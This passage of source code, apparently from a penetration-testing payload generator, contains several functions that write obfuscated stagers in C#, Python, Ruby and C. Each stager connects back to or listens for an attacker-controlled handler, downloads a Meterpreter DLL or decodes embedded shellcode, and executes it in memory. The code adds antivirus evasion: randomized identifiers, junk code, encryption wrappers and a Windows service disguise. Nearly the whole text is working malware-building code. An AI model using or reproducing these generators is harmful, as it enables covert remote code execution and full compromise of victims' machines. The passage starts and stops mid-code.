(UInt32){}.Length);\n'.format( funcAddrName, pinfoName, sName) payload_code += ' RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format( funcAddrName, sName, sName) payload_code += ' UInt32 {} = 0;\n'.format(threadIdName) payload_code += ' IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format( hThreadName, funcAddrName, threadIdName) payload_code += ' WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format( hThreadName) # code for Main() to launch everything sName = evasion_helpers.randomString() randomName = evasion_helpers.randomString() curlyCount = 0 payload_code += "static void Main(){\n" payload_code2, curlyCount = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 payload_code += "Random %s = new Random((int)DateTime.Now.Ticks);\n" % ( randomName) payload_code += "byte[] %s = %s(\"https://%s:%s/\" + %s(%s));\n" % ( sName, getDataName, self.required_options["LHOST"][0], self.required_options["LPORT"][0], genHTTPChecksumName, randomName) payload_code += "%s(%s);}\n" % (injectName, sName) while (curlyCount != 0): payload_code += '\t' * curlyCount + '}' curlyCount -= 1 # get 12 random variables for the API imports r = [evasion_helpers.randomString() for x in range(12)] y = [evasion_helpers.randomString() for x in range(17)] if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n""" % ( r[0], r[1], r[2], r[3], r[4], r[5], r[6], r[7], r[8], r[9], r[10], r[11]) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n""" % ( y[0], y[1], y[2], y[3], y[4], y[5], y[6], y[7], y[8], y[9], y[10], y[11], y[12], y[13], y[14], y[15], y[16]) if self.required_options["USE_ARYA"][0].lower() == "y": payload_code = encryption.arya(payload_code) self.payload_source_code = payload_code return
def generate(self): # randomize all of the variable names used shellCodeName = evasion_helpers.randomString() socketName = evasion_helpers.randomString() getDataMethodName = evasion_helpers.randomString() fdBufName = evasion_helpers.randomString() rcvStringName = evasion_helpers.randomString() rcvCStringName = evasion_helpers.randomString() injectMethodName = evasion_helpers.randomString() tempShellcodeName = evasion_helpers.randomString() shellcodeBufName = evasion_helpers.randomString() fpName = evasion_helpers.randomString() tempCBuffer = evasion_helpers.randomString() randctypes = evasion_helpers.randomString() payload_code = "import struct, socket, binascii, ctypes as " + randctypes + ", random, time\n" # How I'm tracking the number of nested tabs needed # to make the payload num_tabs_required = 0 payload_code2, num_tabs_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # socket and shellcode variables that need to be kept global payload_code += '\t' * num_tabs_required + "%s, %s = None, None\n" % ( shellCodeName, socketName) # build the method that creates a socket, connects to the handler, # and downloads/patches the meterpreter .dll payload_code += '\t' * num_tabs_required + "def %s():\n" % ( getDataMethodName) payload_code += '\t' * num_tabs_required + "\ttry:\n" payload_code += '\t' * num_tabs_required + "\t\tglobal %s\n" % ( socketName) # build the socket and connect to the handler payload_code += '\t' * num_tabs_required + "\t\t%s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" % ( socketName) payload_code += '\t' * num_tabs_required + "\t\t%s.connect(('%s', %s))\n" % ( socketName, self.required_options["LHOST"][0], self.required_options["LPORT"][0]) # pack the underlying socket file descriptor into a c structure payload_code += '\t' * num_tabs_required + "\t\t%s = struct.pack('<i', %s.fileno())\n" % ( fdBufName, socketName) # unpack the length of the payload, received as a 4 byte array from the handler payload_code += '\t' * num_tabs_required + "\t\tl = struct.unpack('<i', %s.recv(4))[0]\n" % ( socketName) payload_code += '\t' * num_tabs_required + "\t\t%s = b\" \"\n" % ( rcvStringName) # receive ALL of the payload .dll data payload_code += '\t' * num_tabs_required + "\t\twhile len(%s) < l: %s += %s.recv(l)\n" % ( rcvStringName, rcvStringName, socketName) payload_code += '\t' * num_tabs_required + "\t\t" + rcvCStringName + " = " + randctypes + ".create_string_buffer(%s, len(%s))\n" % ( rcvStringName, rcvStringName) # prepend a little assembly magic to push the socket fd into the edi register payload_code += '\t' * num_tabs_required + "\t\t%s[0] = binascii.unhexlify('BF')\n" % ( rcvCStringName) # copy the socket fd in payload_code += '\t' * num_tabs_required + "\t\tfor i in range(4): %s[i+1] = %s[i]\n" % ( rcvCStringName, fdBufName) payload_code += '\t' * num_tabs_required + "\t\treturn %s\n" % ( rcvCStringName) payload_code += '\t' * num_tabs_required + "\texcept: return None\n" # build the method that injects the .dll into memory payload_code += '\t' * num_tabs_required + "def %s(%s):\n" % ( injectMethodName, tempShellcodeName) payload_code += '\t' * num_tabs_required + "\tif %s != None:\n" % ( tempShellcodeName) payload_code += '\t' * num_tabs_required + "\t\t%s = bytearray(%s)\n" % ( shellcodeBufName, tempShellcodeName) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": # allocate enough virtual memory to stuff the .dll in payload_code += "\t\t" + fpName + " = " + randctypes + ".windll.kernel32.VirtualAlloc(" + randctypes + ".c_int(0)," + randctypes + ".c_int(len(" + shellcodeBufName + "))," + randctypes + ".c_int(0x3000)," + randctypes + ".c_int(0x40))\n" # virtual lock to prevent the memory from paging out to disk payload_code += "\t\t" + tempCBuffer + " = (" + randctypes + ".c_char * len(" + shellcodeBufName + ")).from_buffer(" + shellcodeBufName + ")\n" # copy the .dll into the allocated memory payload_code += "\t\t" + randctypes + ".windll.kernel32.RtlMoveMemory(" + randctypes + ".c_int(" + fpName + "), " + tempCBuffer + ", " + randctypes + ".c_int(len(" + shellcodeBufName + ")))\n" # kick the thread off to execute the .dll payload_code += "\t\tht = " + randctypes + ".windll.kernel32.CreateThread(" + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".c_int(" + fpName + ")," + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".pointer(" + randctypes + ".c_int(0)))\n" # wait for the .dll execution to finish payload_code += "\t\t" + randctypes + ".windll.kernel32.WaitForSingleObject(" + randctypes + ".c_int(ht)," + randctypes + ".c_int(-1))\n" # Assume HEAP Injection else: HeapVar = evasion_helpers.randomString() handleName = evasion_helpers.randomString() payload_code += '\t' * num_tabs_required + "\t\t" + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + shellcodeBufName + ') * 2),' + randctypes + '.c_int(0))\n' payload_code += '\t' * num_tabs_required + "\t\t" + fpName + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + shellcodeBufName + ')))\n' payload_code += '\t' * num_tabs_required + "\t\t" + tempCBuffer + ' = (' + randctypes + '.c_char * len(' + shellcodeBufName + ')).from_buffer(' + shellcodeBufName + ')\n' payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + fpName + '),' + tempCBuffer + ',' + randctypes + '.c_int(len(' + shellcodeBufName + ')))\n' payload_code += '\t' * num_tabs_required + "\t\t" + handleName + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + fpName + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + handleName + '),' + randctypes + '.c_int(-1))\n' # download the stager payload_code += '\t' * num_tabs_required + "%s = %s()\n" % ( shellCodeName, getDataMethodName) # inject what we grabbed payload_code += '\t' * num_tabs_required + "%s(%s)\n" % ( injectMethodName, shellCodeName) if self.required_options["USE_PYHERION"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) self.payload_source_code = payload_code return
def generate(self): # randomize everything, yo' sumMethodName = evasion_helpers.randomString() checkinMethodName = evasion_helpers.randomString() randLettersName = evasion_helpers.randomString() randLetterSubName = evasion_helpers.randomString() randBaseName = evasion_helpers.randomString() downloadMethodName = evasion_helpers.randomString() hostName = evasion_helpers.randomString() portName = evasion_helpers.randomString() requestName = evasion_helpers.randomString() tName = evasion_helpers.randomString() injectMethodName = evasion_helpers.randomString() dataName = evasion_helpers.randomString() byteArrayName = evasion_helpers.randomString() ptrName = evasion_helpers.randomString() bufName = evasion_helpers.randomString() handleName = evasion_helpers.randomString() data2Name = evasion_helpers.randomString() proxy_var = evasion_helpers.randomString() opener_var = evasion_helpers.randomString() randctypes = evasion_helpers.randomString() # How I'm tracking the number of nested tabs needed # to make the payload num_tabs_required = 0 payload_code = "import urllib.request, string, random, struct, time, ssl, ctypes as " + randctypes + "\n" payload_code2, num_tabs_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # helper method that returns the sum of all ord values in a string % 0x100 payload_code += '\t' * num_tabs_required + "ssl._create_default_https_context = ssl._create_unverified_context\n" payload_code += '\t' * num_tabs_required + "def %s(s): return sum([ord(ch) for ch in s]) %% 0x100\n" %(sumMethodName) # method that generates a new checksum value for checkin to the meterpreter handler payload_code += '\t' * num_tabs_required + "def %s():\n" %(checkinMethodName) payload_code += '\t' * num_tabs_required + "\tfor x in range(64):\n" payload_code += '\t' * num_tabs_required + "\t\t%s = ''.join(random.sample(string.ascii_letters + string.digits,3))\n" %(randBaseName) payload_code += '\t' * num_tabs_required + "\t\t%s = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))\n" %(randLettersName) payload_code += '\t' * num_tabs_required + "\t\tfor %s in %s:\n" %(randLetterSubName, randLettersName) payload_code += '\t' * num_tabs_required + "\t\t\tif %s(%s + %s) == 92: return %s + %s\n" %(sumMethodName, randBaseName, randLetterSubName, randBaseName, randLetterSubName) # method that connects to a host/port over https and downloads the hosted data payload_code += '\t' * num_tabs_required + "def %s(%s,%s):\n" %(downloadMethodName, hostName, portName) payload_code += '\t' * num_tabs_required + "\t" + proxy_var + " = urllib.request.ProxyHandler({})\n" payload_code += '\t' * num_tabs_required + "\t" + opener_var + " = urllib.request.build_opener(" + proxy_var + ")\n" payload_code += '\t' * num_tabs_required + "\turllib.request.install_opener(" + opener_var + ")\n" payload_code += '\t' * num_tabs_required + '\t' + requestName + " = urllib.request.Request(\"https://\" + " + hostName + " + \":\" + str(" + portName + ") + \"/\" + " + checkinMethodName + "(), None, {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'})\n" payload_code += '\t' * num_tabs_required + "\ttry:\n" payload_code += '\t' * num_tabs_required + "\t\t%s = urllib.request.urlopen(%s)\n" %(tName, requestName) payload_code += '\t' * num_tabs_required + "\t\ttry:\n" payload_code += '\t' * num_tabs_required + "\t\t\tif int(%s.info()[\"Content-Length\"]) > 100000: return %s.read()\n" %(tName, tName) payload_code += '\t' * num_tabs_required + "\t\t\telse: return ''\n" payload_code += '\t' * num_tabs_required + "\t\texcept: return %s.read()\n" % (tName) payload_code += '\t' * num_tabs_required + "\texcept urllib.request.URLError: return ''\n" # method to inject a reflective .dll into memory payload_code += '\t' * num_tabs_required + "def %s(%s):\n" %(injectMethodName, dataName) payload_code += '\t' * num_tabs_required + "\tif %s != \"\":\n" %(dataName) payload_code += '\t' * num_tabs_required + "\t\t%s = bytearray(%s)\n" %(byteArrayName, dataName) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + " = " + randctypes + ".windll.kernel32.VirtualAlloc(" + randctypes + ".c_int(0)," + randctypes + ".c_int(len(" + byteArrayName + ")), " + randctypes + ".c_int(0x3000)," + randctypes + ".c_int(0x40))\n" payload_code += '\t' * num_tabs_required + "\t\t" + bufName + " = (" + randctypes + ".c_char * len(" + byteArrayName + ")).from_buffer(" + byteArrayName + ")\n" payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.RtlMoveMemory(" + randctypes + ".c_int(" + ptrName + ")," + bufName + ", " + randctypes + ".c_int(len(" + byteArrayName + ")))\n" payload_code += '\t' * num_tabs_required + "\t\t" + handleName + " = " + randctypes + ".windll.kernel32.CreateThread(" + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".c_int(" + ptrName + ")," + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".pointer(" + randctypes + ".c_int(0)))\n" payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.WaitForSingleObject(" + randctypes + ".c_int(" + handleName + ")," + randctypes + ".c_int(-1))\n" # Assuming heap injection else: HeapVar = evasion_helpers.randomString() payload_code += '\t' * num_tabs_required + "\t\t" + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + byteArrayName + ') * 2),' + randctypes + '.c_int(0))\n' payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + byteArrayName + ')))\n' payload_code += '\t' * num_tabs_required + "\t\t" + bufName + ' = (' + randctypes + '.c_char * len(' + byteArrayName + ')).from_buffer(' + byteArrayName + ')\n' payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + ptrName + '),' + bufName + ',' + randctypes + '.c_int(len(' + byteArrayName + ')))\n' payload_code += '\t' * num_tabs_required + "\t\t" + handleName + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + ptrName + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + handleName + '),' + randctypes + '.c_int(-1))\n' # download the metpreter .dll and inject it payload_code += '\t' * num_tabs_required + "%s = ''\n" %(data2Name) payload_code += '\t' * num_tabs_required + "%s = %s(\"%s\", %s)\n" %(data2Name, downloadMethodName, self.required_options["LHOST"][0], self.required_options["LPORT"][0]) payload_code += '\t' * num_tabs_required + "%s(%s)\n" %(injectMethodName, data2Name) if self.required_options["USE_PYHERION"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) self.payload_source_code = payload_code return
def generate(self): # randomize all of the variable names used shellCodeName = evasion_helpers.randomString() socketName = evasion_helpers.randomString() clientSocketName = evasion_helpers.randomString() getDataMethodName = evasion_helpers.randomString() fdBufName = evasion_helpers.randomString() rcvStringName = evasion_helpers.randomString() rcvCStringName = evasion_helpers.randomString() injectMethodName = evasion_helpers.randomString() tempShellcodeName = evasion_helpers.randomString() shellcodeBufName = evasion_helpers.randomString() fpName = evasion_helpers.randomString() tempCBuffer = evasion_helpers.randomString() payload_code = "import struct, socket, binascii, ctypes, random, time\n" # socket and shellcode variables that need to be kept global payload_code += "%s, %s = None, None\n" % (shellCodeName,socketName) # build the method that creates a socket, connects to the handler, # and downloads/patches the meterpreter .dll payload_code += "def %s():\n" %(getDataMethodName) payload_code += "\ttry:\n" payload_code += "\t\tglobal %s\n" %(socketName) payload_code += "\t\tglobal %s\n" %(clientSocketName) # build the socket and connect to the handler payload_code += "\t\t%s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" %(socketName) payload_code += "\t\t%s.bind(('%s', %s))\n" %(socketName,self.required_options["RHOST"][0], str(self.required_options["LPORT"][0])) payload_code += "\t\t%s.listen(1)\n" % (socketName) payload_code += "\t\t%s,_ = %s.accept()\n" % (clientSocketName, socketName) # pack the underlying socket file descriptor into a c structure payload_code += "\t\t%s = struct.pack('<i', %s.fileno())\n" % (fdBufName,clientSocketName) # unpack the length of the payload, received as a 4 byte array from the handler payload_code += "\t\tl = struct.unpack('<i', %s.recv(4))[0]\n" %(clientSocketName) payload_code += "\t\t" + rcvStringName + " = b\" \"\n" # receive ALL of the payload .dll data payload_code += "\t\twhile len(%s) < l: %s += %s.recv(l)\n" % (rcvStringName, rcvStringName, clientSocketName) payload_code += "\t\t%s = ctypes.create_string_buffer(%s, len(%s))\n" % (rcvCStringName,rcvStringName,rcvStringName) # prepend a little assembly magic to push the socket fd into the edi register payload_code += "\t\t%s[0] = binascii.unhexlify('BF')\n" %(rcvCStringName) # copy the socket fd in payload_code += "\t\tfor i in range(4): %s[i+1] = %s[i]\n" % (rcvCStringName, fdBufName) payload_code += "\t\treturn %s\n" % (rcvCStringName) payload_code += "\texcept: return None\n" # build the method that injects the .dll into memory payload_code += "def %s(%s):\n" %(injectMethodName,tempShellcodeName) payload_code += "\tif %s != None:\n" %(tempShellcodeName) payload_code += "\t\t%s = bytearray(%s)\n" %(shellcodeBufName,tempShellcodeName) # allocate enough virtual memory to stuff the .dll in payload_code += "\t\t%s = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(%s)),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n" %(fpName,shellcodeBufName) # virtual lock to prevent the memory from paging out to disk payload_code += "\t\tctypes.windll.kernel32.VirtualLock(ctypes.c_int(%s), ctypes.c_int(len(%s)))\n" %(fpName,shellcodeBufName) payload_code += "\t\t%s = (ctypes.c_char * len(%s)).from_buffer(%s)\n" %(tempCBuffer,shellcodeBufName,shellcodeBufName) # copy the .dll into the allocated memory payload_code += "\t\tctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(%s), %s, ctypes.c_int(len(%s)))\n" %(fpName,tempCBuffer,shellcodeBufName) # kick the thread off to execute the .dll payload_code += "\t\tht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(%s),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n" %(fpName) # wait for the .dll execution to finish payload_code += "\t\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))\n" # download the stager payload_code += "%s = %s()\n" %(shellCodeName, getDataMethodName) # inject what we grabbed payload_code += "%s(%s)\n" % (injectMethodName,shellCodeName) if self.required_options["USE_PYHERION"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) self.payload_source_code = payload_code return
def generate(self): # How I'm tracking the number of nested tabs needed # to make the payload num_ends_required = 0 payload_code = "" # randomly generate out variable names payloadName = evasion_helpers.randomString() ptrName = evasion_helpers.randomString() threadName = evasion_helpers.randomString() heap_name = evasion_helpers.randomString() payload_code = "require 'rubygems'\n" payload_code += "require 'win32/api'\n" payload_code += "include Win32\n" payload_code += "require 'base64'\n" # Add logic for adding this line, stupid bug and I have no idea # why this is even a problem, but ruby is dumb if self.required_options["HOSTNAME"][0] != "X" or self.required_options[ "DOMAIN"][0] != "X" or self.required_options["USERNAME"][ 0] != "X" or self.required_options["SLEEP"][0] != "X": pass else: payload_code += "exit if Object.const_defined?(:Ocra)\n" # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode # Base64 Encode Shellcode Shellcode = base64.b64encode(bytes(Shellcode, 'latin-1')).decode('ascii') payload_code2, num_ends_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # randomly generate out variable names payloadName = evasion_helpers.randomString() ptrName = evasion_helpers.randomString() valloc_random = evasion_helpers.randomString() heap_name = evasion_helpers.randomString() heapcreate_random = evasion_helpers.randomString() heapalloc_random = evasion_helpers.randomString() rtlmove_random = evasion_helpers.randomString() createthread_random = evasion_helpers.randomString() waitfor_random = evasion_helpers.randomString() protect_out = evasion_helpers.randomString() rand_protect = evasion_helpers.randomString() if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I');" + rand_protect + " = API.new('VirtualProtect', 'PIIP', 'I')\n" payload_code += payloadName + " = [\"" + Shellcode + "\".unpack(\"m\")[0].delete(\"\\\\\\\\x\")].pack(\"H*\")\n" payload_code += ptrName + " = " + valloc_random + ".call(0,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x1000, 0x04)\n" payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + protect_out + " = " + rand_protect + ".call(" + ptrName + ",(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x20, 0); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += heapcreate_random + " = API.new('HeapCreate', 'III', 'I');" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" payload_code += payloadName + " = [\"" + Shellcode + "\".unpack(\"m\")[0].delete(\"\\\\\\\\x\")].pack(\"H*\")\n" payload_code += heap_name + " = " + heapcreate_random + ".call(0x0004,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0)\n" payload_code += ptrName + " = " + heapalloc_random + ".call(" + heap_name + ", 0x00000008, " + payloadName + ".length)\n" payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n" # Close out all the if statements for iteration in range(num_ends_required): payload_code += 'end\n' self.payload_source_code = payload_code return
def generate(self): winsock_init_name = evasion_helpers.randomString() punt_name = evasion_helpers.randomString() recv_all_name = evasion_helpers.randomString() wsconnect_name = evasion_helpers.randomString() # the real includes needed includes = [ "#include <stdio.h>" , "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>"] # max length string for obfuscation global_max_string_length = 10000 max_string_length = random.randint(100,global_max_string_length) max_num_strings = 10000 # TODO: add in more string processing functions randName1 = evasion_helpers.randomString() # reverse() randName2 = evasion_helpers.randomString() # doubles characters stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" %(randName1)), (randName2, "char* %s(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" %(randName2)) ] random.shuffle(stringModFunctions) # obsufcation - "logical nop" string generation functions randString1 = evasion_helpers.randomString(50) randName1 = evasion_helpers.randomString() randVar1 = evasion_helpers.randomString() randName2 = evasion_helpers.randomString() randVar2 = evasion_helpers.randomString() randVar3 = evasion_helpers.randomString() randName3 = evasion_helpers.randomString() randVar4 = evasion_helpers.randomString() randVar5 = evasion_helpers.randomString() stringGenFunctions = [ (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" %(randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[25])), (randName2, "char* %s(){ char %s[%s], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, evasion_helpers.randomString(50), randVar3, evasion_helpers.randomString(50), stringModFunctions[1][0], randVar2, randVar3)), (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, evasion_helpers.randomString(50), randVar5, randVar4, randVar5)) ] random.shuffle(stringGenFunctions) # obfuscation - add in our fake includes fake_includes = ["#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>", "#include <limits.h>", "#include <assert.h>"] for x in range(1, random.randint(1,7)): includes.append(fake_includes[x]) # obsufcation - shuffle up our real and fake includes random.shuffle(includes) code = "#define _WIN32_WINNT 0x0500\n" code += "#include <winsock2.h>\n" code += "\n".join(includes) + "\n" # real - service related headers (check the stub) hStatusName = evasion_helpers.randomString() serviceHeaders = ["SERVICE_STATUS ServiceStatus;","SERVICE_STATUS_HANDLE %s;" %(hStatusName), "void ServiceMain(int argc, char** argv);", "void ControlHandler(DWORD request);"] random.shuffle(serviceHeaders) code += "\n".join(serviceHeaders) # obsufcation - string mod functions code += stringModFunctions[0][1] + "\n" code += stringModFunctions[1][1] + "\n" # real - build the winsock_init function wVersionRequested_name = evasion_helpers.randomString() wsaData_name = evasion_helpers.randomString() code += "void %s() {" % (winsock_init_name) code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, evasion_helpers.obfuscateNum(2,4),evasion_helpers.obfuscateNum(2,4), wsaData_name) code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name) # first logical nop string function code += stringGenFunctions[0][1] + "\n" # real - build punt function my_socket_name = evasion_helpers.randomString() code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name) code += "closesocket(%s);" %(my_socket_name) code += "WSACleanup();" code += "exit(1);}\n" # obsufcation - second logical nop string function code += stringGenFunctions[1][1] + "\n" # real - build recv_all function my_socket_name = evasion_helpers.randomString() buffer_name = evasion_helpers.randomString() len_name = evasion_helpers.randomString() code += "int %s(SOCKET %s, void * %s, int %s){" %(recv_all_name, my_socket_name, buffer_name, len_name) code += "int slfkmklsDSA=0;int rcAmwSVM=0;" code += "void * startb = %s;" %(buffer_name) code += "while (rcAmwSVM < %s) {" %(len_name) code += "slfkmklsDSA = recv(%s, (char *)startb, %s - rcAmwSVM, 0);" %(my_socket_name, len_name) code += "startb += slfkmklsDSA; rcAmwSVM += slfkmklsDSA;" code += "if (slfkmklsDSA == SOCKET_ERROR) %s(%s);} return rcAmwSVM; }\n" %(punt_name, my_socket_name) # obsufcation - third logical nop string function code += stringGenFunctions[2][1] + "\n" # real - build wsconnect function target_name = evasion_helpers.randomString() sock_name = evasion_helpers.randomString() my_socket_name = evasion_helpers.randomString() code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name) code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name) code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name); code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0]) code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name) code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name) code += "%s.sin_family = AF_INET;" %(sock_name) code += "%s.sin_port = htons(%s);" %(sock_name, evasion_helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32)) code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name) code += "return %s;}\n" %(my_socket_name) # real - main() method for the service code serviceName = evasion_helpers.randomString() code += "void main() { SERVICE_TABLE_ENTRY ServiceTable[2];" serviceTableEntries = [ "ServiceTable[0].lpServiceName = \"%s\";" %(serviceName), "ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;", "ServiceTable[1].lpServiceName = NULL;", "ServiceTable[1].lpServiceProc = NULL;"] random.shuffle(serviceTableEntries) code += "\n".join(serviceTableEntries) code += "StartServiceCtrlDispatcher(ServiceTable);}\n" # real - service status options for us to shuffle serviceStatusOptions = ["ServiceStatus.dwWin32ExitCode = 0;", "ServiceStatus.dwCurrentState = SERVICE_START_PENDING;", "ServiceStatus.dwWaitHint = 0;", "ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;", "ServiceStatus.dwServiceSpecificExitCode = 0;", "ServiceStatus.dwCheckPoint = 0;", "ServiceStatus.dwServiceType = SERVICE_WIN32;"] random.shuffle(serviceStatusOptions) # real - serviceMain() code code += "void ServiceMain(int argc, char** argv) {\n" code += "\n".join(serviceStatusOptions) code += "%s = RegisterServiceCtrlHandler( \"%s\", (LPHANDLER_FUNCTION)ControlHandler);" 